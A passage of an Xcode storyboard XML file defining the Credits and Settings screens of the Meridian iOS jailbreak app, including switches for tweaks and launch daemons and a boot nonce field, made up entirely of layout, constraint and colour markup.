<rect key=\"frame\" x=\"20\" y=\"645\" width=\"335\" height=\"24\"/>\n                                                <constraints>\n                                                    <constraint firstAttribute=\"height\" constant=\"24\" id=\"hqr-2J-nUT\"/>\n                                                </constraints>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                <state key=\"normal\" title=\"@sbingner\"/>\n                                                <connections>\n                                                    <action selector=\"buttonPressed:\" destination=\"qAG-hS-AfD\" eventType=\"touchUpInside\" id=\"Hg5-rr-R9K\"/>\n                                                </connections>\n                                            </button>\n                                            <label opaque=\"NO\" userInteractionEnabled=\"NO\" contentMode=\"left\" horizontalHuggingPriority=\"251\" verticalHuggingPriority=\"251\" text=\"additional thanks to tihmstar (liboffsetfinder64), xerub (patchfinder), and qwertyoruiop (smoke trees)\" textAlignment=\"center\" lineBreakMode=\"wordWrap\" numberOfLines=\"0\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"sxI-PS-6h7\">\n                                                <rect key=\"frame\" x=\"20\" y=\"693\" width=\"335\" height=\"54\"/>\n                                                <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"15\"/>\n                                                <color key=\"textColor\" red=\"0.84717064173385093\" green=\"0.86411405456852797\" blue=\"0.86411405456852797\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                <nil key=\"highlightedColor\"/>\n                                            </label>\n                                        </subviews>\n                                        <constraints>\n                                            <constraint firstItem=\"O0A-re-b8Z\" firstAttribute=\"top\" secondItem=\"ieO-jT-rOa\" secondAttribute=\"bottom\" constant=\"24\" id=\"2ah-6K-87q\"/>\n                                            <constraint firstItem=\"4Ad-kA-OHw\" firstAttribute=\"top\" secondItem=\"xLy-9T-ijP\" secondAttribute=\"bottom\" constant=\"24\" id=\"3K8-gi-6Vk\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"BKl-Gc-kIr\" secondAttribute=\"trailing\" constant=\"20\" id=\"3S0-15-0dR\"/>\n                                            <constraint firstItem=\"yXa-1k-ufI\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"5sx-gd-5Le\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"i0g-15-jI9\" secondAttribute=\"trailing\" constant=\"20\" id=\"5yy-OY-6ll\"/>\n                                            <constraint firstItem=\"Yre-Nt-hlf\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"63z-MS-diA\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"4Ad-kA-OHw\" secondAttribute=\"trailing\" constant=\"20\" id=\"8FP-MH-uu8\"/>\n                                            <constraint firstItem=\"Dha-v5-90Q\" firstAttribute=\"top\" secondItem=\"YO6-75-8HF\" secondAttribute=\"bottom\" constant=\"24\" id=\"AZq-rv-y0m\"/>\n                                            <constraint firstItem=\"xLy-9T-ijP\" firstAttribute=\"top\" secondItem=\"i0g-15-jI9\" secondAttribute=\"bottom\" id=\"BNl-x8-0y6\"/>\n                                            <constraint firstItem=\"ieO-jT-rOa\" firstAttribute=\"top\" secondItem=\"UfA-6a-frh\" secondAttribute=\"bottom\" constant=\"1\" id=\"BSN-BW-Yyf\"/>\n                                            <constraint firstItem=\"xLy-9T-ijP\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"Cj5-dm-3IZ\"/>\n                                            <constraint firstItem=\"7Wk-KG-yMo\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"EEL-SI-tFp\"/>\n                                            <constraint firstAttribute=\"bottom\" secondItem=\"POc-h8-ucI\" secondAttribute=\"bottom\" constant=\"104.5\" id=\"EWu-vL-280\"/>\n                                            <constraint firstItem=\"POc-h8-ucI\" firstAttribute=\"top\" secondItem=\"FCK-Yr-PwT\" secondAttribute=\"bottom\" constant=\"1\" id=\"GXh-Sb-V8e\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"O0A-re-b8Z\" secondAttribute=\"trailing\" constant=\"20\" id=\"Ggq-dQ-KTb\"/>\n                                            <constraint firstItem=\"Dha-v5-90Q\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"IN9-wW-Oku\"/>\n                                            <constraint firstItem=\"i0g-15-jI9\" firstAttribute=\"top\" secondItem=\"YZ3-IX-aYL\" secondAttribute=\"bottom\" constant=\"1\" id=\"IYy-Sd-xh0\"/>\n                                            <constraint firstItem=\"O0A-re-b8Z\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"LUc-PR-8Uv\"/>\n                                            <constraint firstItem=\"BKl-Gc-kIr\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"M0o-1m-2oS\"/>\n                                            <constraint firstItem=\"POc-h8-ucI\" firstAttribute=\"top\" secondItem=\"FCK-Yr-PwT\" secondAttribute=\"bottom\" constant=\"1\" id=\"M3N-Fz-vAP\"/>\n                                            <constraint firstItem=\"YZ3-IX-aYL\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"M3j-6j-fvv\"/>\n                                            <constraint firstItem=\"4Ad-kA-OHw\" firstAttribute=\"top\" secondItem=\"xLy-9T-ijP\" secondAttribute=\"bottom\" constant=\"24\" id=\"MT0-nR-ry8\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"7Wk-KG-yMo\" secondAttribute=\"trailing\" constant=\"20\" id=\"QOa-97-QeL\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"xVd-SF-PUd\" secondAttribute=\"trailing\" constant=\"20\" id=\"Qjy-fY-Ggg\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"xLy-9T-ijP\" secondAttribute=\"trailing\" constant=\"20\" id=\"RMh-PR-7np\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"ieO-jT-rOa\" secondAttribute=\"trailing\" constant=\"20\" id=\"TKO-O4-3If\"/>\n                                            <constraint firstItem=\"FCK-Yr-PwT\" firstAttribute=\"top\" secondItem=\"yXa-1k-ufI\" secondAttribute=\"bottom\" constant=\"24\" id=\"U1D-bz-WFj\"/>\n                                            <constraint firstItem=\"BKl-Gc-kIr\" firstAttribute=\"top\" secondItem=\"4Ad-kA-OHw\" secondAttribute=\"bottom\" constant=\"1\" id=\"Uc6-JB-W68\"/>\n                                            <constraint firstItem=\"O0A-re-b8Z\" firstAttribute=\"top\" secondItem=\"ieO-jT-rOa\" secondAttribute=\"bottom\" constant=\"24\" id=\"Wfw-Mc-5oN\"/>\n                                            <constraint firstItem=\"7Wk-KG-yMo\" firstAttribute=\"top\" secondItem=\"O0A-re-b8Z\" secondAttribute=\"bottom\" constant=\"1\" id=\"XR7-nh-B4W\"/>\n                                            <constraint firstItem=\"FCK-Yr-PwT\" firstAttribute=\"top\" secondItem=\"yXa-1k-ufI\" secondAttribute=\"bottom\" constant=\"24\" id=\"YBJ-En-M4U\"/>\n                                            <constraint firstItem=\"UfA-6a-frh\" firstAttribute=\"top\" secondItem=\"Yre-Nt-hlf\" secondAttribute=\"bottom\" constant=\"24\" id=\"YIB-a5-csn\"/>\n                                            <constraint firstItem=\"xVd-SF-PUd\" firstAttribute=\"top\" secondItem=\"BKl-Gc-kIr\" secondAttribute=\"bottom\" constant=\"24\" id=\"YXd-XC-mDi\"/>\n                                            <constraint firstItem=\"YO6-75-8HF\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"YZR-Yo-wKS\"/>\n                                            <constraint firstItem=\"yXa-1k-ufI\" firstAttribute=\"top\" secondItem=\"xVd-SF-PUd\" secondAttribute=\"bottom\" constant=\"1\" id=\"Zzo-Rh-RGf\"/>\n                                            <constraint firstItem=\"UfA-6a-frh\" firstAttribute=\"top\" secondItem=\"Yre-Nt-hlf\" secondAttribute=\"bottom\" constant=\"24\" id=\"bBQ-u6-IOJ\"/>\n                                            <constraint firstItem=\"i0g-15-jI9\" firstAttribute=\"top\" secondItem=\"YZ3-IX-aYL\" secondAttribute=\"bottom\" constant=\"1\" id=\"boE-ZL-LGW\"/>\n                                            <constraint firstItem=\"BKl-Gc-kIr\" firstAttribute=\"top\" secondItem=\"4Ad-kA-OHw\" secondAttribute=\"bottom\" constant=\"1\" id=\"bw9-Hc-eMP\"/>\n                                            <constraint firstItem=\"4Ad-kA-OHw\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"c7i-sR-pN7\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"POc-h8-ucI\" secondAttribute=\"trailing\" constant=\"20\" id=\"csg-6m-7rK\"/>\n                                            <constraint firstItem=\"Dha-v5-90Q\" firstAttribute=\"top\" secondItem=\"YO6-75-8HF\" secondAttribute=\"bottom\" constant=\"24\" id=\"dkh-bZ-Cao\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"FCK-Yr-PwT\" secondAttribute=\"trailing\" constant=\"20\" id=\"fIc-bR-YcJ\"/>\n                                            <constraint firstItem=\"7Wk-KG-yMo\" firstAttribute=\"top\" secondItem=\"O0A-re-b8Z\" secondAttribute=\"bottom\" constant=\"1\" id=\"g0q-cB-pTr\"/>\n                                            <constraint firstItem=\"ieO-jT-rOa\" firstAttribute=\"top\" secondItem=\"UfA-6a-frh\" secondAttribute=\"bottom\" constant=\"1\" id=\"izG-LF-OpA\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"YO6-75-8HF\" secondAttribute=\"trailing\" constant=\"20\" id=\"jZv-m1-uc3\"/>\n                                            <constraint firstItem=\"xVd-SF-PUd\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"kGn-zH-ckd\"/>\n                                            <constraint firstItem=\"sxI-PS-6h7\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"lEz-du-O0f\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"Dha-v5-90Q\" secondAttribute=\"trailing\" constant=\"20\" id=\"lVq-8S-y2Z\"/>\n                                            <constraint firstItem=\"yXa-1k-ufI\" firstAttribute=\"top\" secondItem=\"xVd-SF-PUd\" secondAttribute=\"bottom\" constant=\"1\" id=\"mtW-s2-j0X\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"sxI-PS-6h7\" secondAttribute=\"trailing\" constant=\"20\" id=\"nbF-on-AhM\"/>\n                                            <constraint firstItem=\"POc-h8-ucI\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"noQ-Mg-xiC\"/>\n                                            <constraint firstItem=\"ieO-jT-rOa\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"oLO-7t-8OO\"/>\n                                            <constraint firstItem=\"i0g-15-jI9\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"pkg-gL-Eeb\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"Yre-Nt-hlf\" secondAttribute=\"trailing\" constant=\"20\" id=\"r9I-PS-59N\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"yXa-1k-ufI\" secondAttribute=\"trailing\" constant=\"20\" id=\"tLa-o1-MTE\"/>\n                                            <constraint firstItem=\"YZ3-IX-aYL\" firstAttribute=\"top\" secondItem=\"7Wk-KG-yMo\" secondAttribute=\"bottom\" constant=\"24\" id=\"tqk-Cw-nM9\"/>\n                                            <constraint firstItem=\"FCK-Yr-PwT\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"tsh-6R-gTh\"/>\n                                            <constraint firstItem=\"xVd-SF-PUd\" firstAttribute=\"top\" secondItem=\"BKl-Gc-kIr\" secondAttribute=\"bottom\" constant=\"24\" id=\"u1D-Kx-1Am\"/>\n                                            <constraint firstItem=\"Yre-Nt-hlf\" firstAttribute=\"top\" secondItem=\"Dha-v5-90Q\" secondAttribute=\"bottom\" constant=\"1\" id=\"uZL-U1-KwJ\"/>\n                                            <constraint firstItem=\"YZ3-IX-aYL\" firstAttribute=\"top\" secondItem=\"7Wk-KG-yMo\" secondAttribute=\"bottom\" constant=\"24\" id=\"umy-2H-7r0\"/>\n                                            <constraint firstItem=\"sxI-PS-6h7\" firstAttribute=\"top\" secondItem=\"POc-h8-ucI\" secondAttribute=\"bottom\" constant=\"24\" id=\"vDH-tk-Cd8\"/>\n                                            <constraint firstItem=\"UfA-6a-frh\" firstAttribute=\"leading\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"leading\" constant=\"20\" id=\"vO2-qg-vC0\"/>\n                                            <constraint firstItem=\"YO6-75-8HF\" firstAttribute=\"top\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"top\" constant=\"36\" id=\"y38-tf-8yp\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"YZ3-IX-aYL\" secondAttribute=\"trailing\" constant=\"20\" id=\"zJj-wH-b82\"/>\n                                            <constraint firstAttribute=\"trailing\" secondItem=\"UfA-6a-frh\" secondAttribute=\"trailing\" constant=\"20\" id=\"zks-hX-FAl\"/>\n                                            <constraint firstItem=\"Yre-Nt-hlf\" firstAttribute=\"top\" secondItem=\"Dha-v5-90Q\" secondAttribute=\"bottom\" constant=\"1\" id=\"zzs-PN-E6x\"/>\n                                        </constraints>\n                                    </view>\n                                </subviews>\n                                <constraints>\n                                    <constraint firstItem=\"MSn-hK-IyG\" firstAttribute=\"leading\" secondItem=\"LiS-Ms-MlO\" secondAttribute=\"leading\" id=\"8pm-tL-nhK\"/>\n                                    <constraint firstAttribute=\"bottom\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"bottom\" constant=\"8\" id=\"Ban-Vj-qZk\"/>\n                                    <constraint firstAttribute=\"trailing\" secondItem=\"MSn-hK-IyG\" secondAttribute=\"trailing\" id=\"JuX-pt-USc\"/>\n                                    <constraint firstItem=\"MSn-hK-IyG\" firstAttribute=\"width\" secondItem=\"LiS-Ms-MlO\" secondAttribute=\"width\" id=\"Mdh-MJ-aCQ\"/>\n                                    <constraint firstItem=\"MSn-hK-IyG\" firstAttribute=\"top\" secondItem=\"LiS-Ms-MlO\" secondAttribute=\"top\" id=\"Myl-Kl-B1X\"/>\n                                </constraints>\n                            </scrollView>\n                        </subviews>\n                        <color key=\"backgroundColor\" red=\"0.12984204290000001\" green=\"0.12984612579999999\" blue=\"0.12984395030000001\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <color key=\"tintColor\" red=\"0.81568627449999997\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <constraints>\n                            <constraint firstItem=\"LiS-Ms-MlO\" firstAttribute=\"top\" secondItem=\"H8w-YY-XZs\" secondAttribute=\"top\" id=\"1zt-Wp-keg\"/>\n                            <constraint firstAttribute=\"bottom\" secondItem=\"LiS-Ms-MlO\" secondAttribute=\"bottom\" constant=\"30\" id=\"JCV-3K-oq9\"/>\n                            <constraint firstItem=\"LiS-Ms-MlO\" firstAttribute=\"trailing\" secondItem=\"h1h-Pu-K94\" secondAttribute=\"trailing\" id=\"KJd-lg-V7z\"/>\n                            <constraint firstItem=\"LiS-Ms-MlO\" firstAttribute=\"leading\" secondItem=\"h1h-Pu-K94\" secondAttribute=\"leading\" id=\"WyK-7l-NgR\"/>\n                            <constraint firstItem=\"LiS-Ms-MlO\" firstAttribute=\"width\" secondItem=\"H8w-YY-XZs\" secondAttribute=\"width\" id=\"Zk0-N8-WMS\"/>\n                        </constraints>\n                        <viewLayoutGuide key=\"safeArea\" id=\"h1h-Pu-K94\"/>\n                    </view>\n                    <navigationItem key=\"navigationItem\" title=\"Credits\" prompt=\" \" id=\"tYO-uE-VMb\"/>\n                    <size key=\"freeformSize\" width=\"375\" height=\"930\"/>\n                </viewController>\n                <placeholder placeholderIdentifier=\"IBFirstResponder\" id=\"qAG-hS-AfD\" userLabel=\"First Responder\" sceneMemberID=\"firstResponder\"/>\n            </objects>\n            <point key=\"canvasLocation\" x=\"1492\" y=\"1059\"/>\n        </scene>\n        <!--Settings-->\n        <scene sceneID=\"iTQ-5v-rjF\">\n            <objects>\n                <tableViewController title=\"Settings\" id=\"Fud-u7-kXh\" customClass=\"SettingsController\" sceneMemberID=\"viewController\">\n                    <tableView key=\"view\" clipsSubviews=\"YES\" contentMode=\"scaleToFill\" alwaysBounceVertical=\"YES\" showsHorizontalScrollIndicator=\"NO\" showsVerticalScrollIndicator=\"NO\" indicatorStyle=\"white\" dataMode=\"static\" style=\"grouped\" rowHeight=\"50\" estimatedRowHeight=\"-1\" sectionHeaderHeight=\"18\" sectionFooterHeight=\"18\" id=\"BpY-Pc-Xg4\">\n                        <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"960\"/>\n                        <autoresizingMask key=\"autoresizingMask\" widthSizable=\"YES\" heightSizable=\"YES\"/>\n                        <color key=\"backgroundColor\" red=\"0.12941176470588234\" green=\"0.12941176470588234\" blue=\"0.12941176470588234\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <color key=\"tintColor\" red=\"0.81568627450980391\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <color key=\"separatorColor\" red=\"0.20000000000000001\" green=\"0.20000000000000001\" blue=\"0.20000000000000001\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                        <sections>\n                            <tableViewSection footerTitle=\"If unset, Meridian will use the &quot;Electra generator&quot; which you may already have blobs for (beginning 0xbd...).\" id=\"yZf-Ap-PPU\" userLabel=\"General\">\n                                <cells>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"none\" indentationWidth=\"10\" textLabel=\"Kpj-ds-EgO\" imageView=\"zCI-F8-PLb\" style=\"IBUITableViewCellStyleDefault\" id=\"XfL-Kd-aoQ\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"35\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"XfL-Kd-aoQ\" id=\"mbd-py-gTu\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Enable Tweaks\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"Kpj-ds-EgO\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"303\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <switch opaque=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"1000\" verticalHuggingPriority=\"750\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" on=\"YES\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"XUd-91-N00\" userLabel=\"Enable Tweaks\">\n                                                    <rect key=\"frame\" x=\"317\" y=\"10\" width=\"51\" height=\"31\"/>\n                                                    <color key=\"onTintColor\" red=\"0.81568627450980391\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                    <connections>\n                                                        <action selector=\"tweaksEnabledValueChanged:\" destination=\"Fud-u7-kXh\" eventType=\"valueChanged\" id=\"1g5-CT-5I5\"/>\n                                                    </connections>\n                                                </switch>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"jail\" id=\"zCI-F8-PLb\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                            <constraints>\n                                                <constraint firstItem=\"XUd-91-N00\" firstAttribute=\"centerY\" secondItem=\"Kpj-ds-EgO\" secondAttribute=\"centerY\" id=\"6Rt-Q6-Obn\"/>\n                                                <constraint firstAttribute=\"trailingMargin\" secondItem=\"XUd-91-N00\" secondAttribute=\"trailing\" constant=\"-7\" id=\"773-FU-Nqi\"/>\n                                                <constraint firstItem=\"Kpj-ds-EgO\" firstAttribute=\"leading\" secondItem=\"mbd-py-gTu\" secondAttribute=\"leading\" constant=\"56\" id=\"De6-0C-2la\"/>\n                                                <constraint firstAttribute=\"trailing\" relation=\"greaterThanOrEqual\" secondItem=\"Kpj-ds-EgO\" secondAttribute=\"trailing\" constant=\"16\" id=\"OVL-Cq-PoR\"/>\n                                            </constraints>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078431372548\" green=\"0.090196078431372548\" blue=\"0.090196078431372548\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"none\" indentationWidth=\"10\" textLabel=\"Bry-U6-Qdq\" imageView=\"vYg-Av-AHQ\" style=\"IBUITableViewCellStyleDefault\" id=\"qo4-93-e7I\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"85\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"qo4-93-e7I\" id=\"JLd-s0-NGC\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Start Launch Daemons\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"Bry-U6-Qdq\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"303\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <switch opaque=\"NO\" contentMode=\"scaleToFill\" horizontalHuggingPriority=\"1000\" verticalHuggingPriority=\"750\" contentHorizontalAlignment=\"center\" contentVerticalAlignment=\"center\" on=\"YES\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"tH8-9w-rNC\">\n                                                    <rect key=\"frame\" x=\"317\" y=\"10\" width=\"51\" height=\"31\"/>\n                                                    <color key=\"onTintColor\" red=\"0.81568627449999997\" green=\"0.0\" blue=\"0.0\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                    <connections>\n                                                        <action selector=\"startLaunchDaemonsValueChanged:\" destination=\"Fud-u7-kXh\" eventType=\"valueChanged\" id=\"Ih7-d3-uJ2\"/>\n                                                    </connections>\n                                                </switch>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"gears\" id=\"vYg-Av-AHQ\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                            </subviews>\n                                            <constraints>\n                                                <constraint firstItem=\"tH8-9w-rNC\" firstAttribute=\"centerY\" secondItem=\"Bry-U6-Qdq\" secondAttribute=\"centerY\" id=\"Ana-tC-aJG\"/>\n                                                <constraint firstItem=\"Bry-U6-Qdq\" firstAttribute=\"leading\" secondItem=\"JLd-s0-NGC\" secondAttribute=\"leading\" constant=\"56\" id=\"Ma8-e9-ucw\"/>\n                                                <constraint firstAttribute=\"trailing\" relation=\"greaterThanOrEqual\" secondItem=\"Bry-U6-Qdq\" secondAttribute=\"trailing\" constant=\"16\" id=\"aJ0-FM-aPf\"/>\n                                                <constraint firstAttribute=\"trailingMargin\" secondItem=\"tH8-9w-rNC\" secondAttribute=\"trailing\" constant=\"-7\" id=\"e8q-CM-2NW\"/>\n                                            </constraints>\n                                        </tableViewCellContentView>\n                                        <color key=\"backgroundColor\" red=\"0.090196078430000007\" green=\"0.090196078430000007\" blue=\"0.090196078430000007\" alpha=\"1\" colorSpace=\"calibratedRGB\"/>\n                                        <inset key=\"separatorInset\" minX=\"0.0\" minY=\"0.0\" maxX=\"0.0\" maxY=\"0.0\"/>\n                                    </tableViewCell>\n                                    <tableViewCell clipsSubviews=\"YES\" contentMode=\"scaleToFill\" preservesSuperviewLayoutMargins=\"YES\" selectionStyle=\"none\" indentationWidth=\"10\" textLabel=\"u8R-sP-QxL\" imageView=\"RMI-1A-TeW\" style=\"IBUITableViewCellStyleDefault\" id=\"u0D-Ty-JTg\">\n                                        <rect key=\"frame\" x=\"0.0\" y=\"135\" width=\"375\" height=\"50\"/>\n                                        <autoresizingMask key=\"autoresizingMask\"/>\n                                        <tableViewCellContentView key=\"contentView\" opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"center\" preservesSuperviewLayoutMargins=\"YES\" insetsLayoutMarginsFromSafeArea=\"NO\" tableViewCell=\"u0D-Ty-JTg\" id=\"Iay-Au-yFq\">\n                                            <rect key=\"frame\" x=\"0.0\" y=\"0.0\" width=\"375\" height=\"49.5\"/>\n                                            <autoresizingMask key=\"autoresizingMask\"/>\n                                            <subviews>\n                                                <label opaque=\"NO\" multipleTouchEnabled=\"YES\" contentMode=\"left\" insetsLayoutMarginsFromSafeArea=\"NO\" text=\"Boot Nonce\" textAlignment=\"natural\" lineBreakMode=\"tailTruncation\" baselineAdjustment=\"alignBaselines\" adjustsFontSizeToFit=\"NO\" id=\"u8R-sP-QxL\">\n                                                    <rect key=\"frame\" x=\"56\" y=\"0.0\" width=\"303\" height=\"49.5\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                    <fontDescription key=\"fontDescription\" type=\"system\" pointSize=\"17\"/>\n                                                    <color key=\"textColor\" white=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"genericGamma22GrayColorSpace\"/>\n                                                    <nil key=\"highlightedColor\"/>\n                                                </label>\n                                                <imageView opaque=\"NO\" clipsSubviews=\"YES\" multipleTouchEnabled=\"YES\" contentMode=\"scaleToFill\" insetsLayoutMarginsFromSafeArea=\"NO\" image=\"gears\" id=\"RMI-1A-TeW\">\n                                                    <rect key=\"frame\" x=\"16\" y=\"12\" width=\"25\" height=\"25\"/>\n                                                    <autoresizingMask key=\"autoresizingMask\"/>\n                                                </imageView>\n                                                <textField opaque=\"NO\" contentMode=\"scaleToFill\" contentHorizontalAlignment=\"right\" contentVerticalAlignment=\"center\" text=\"0x0\" borderStyle=\"roundedRect\" textAlignment=\"right\" minimumFontSize=\"17\" clearButtonMode=\"whileEditing\" translatesAutoresizingMaskIntoConstraints=\"NO\" id=\"li6-DZ-aMt\" userLabel=\"Entry\">\n                                                    <rect key=\"frame\" x=\"229\" y=\"10\" width=\"130\" height=\"30\"/>\n                                                    <color key=\"backgroundColor\" red=\"0.20000000000000001\" green=\"0.20000000000000001\" blue=\"0.20000000000000001\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                    <constraints>\n                                                        <constraint firstAttribute=\"width\" constant=\"130\" id=\"6Jt-VY-Wpg\"/>\n                                                    </constraints>\n                                                    <color key=\"textColor\" red=\"1\" green=\"1\" blue=\"1\" alpha=\"1\" colorSpace=\"custom\" customColorSpace=\"sRGB\"/>\n                                                    <fontDescription key=\"fontDescription\" style=\"UICTFontTextStyleHeadline\"/>\n                                                    <textInputTraits 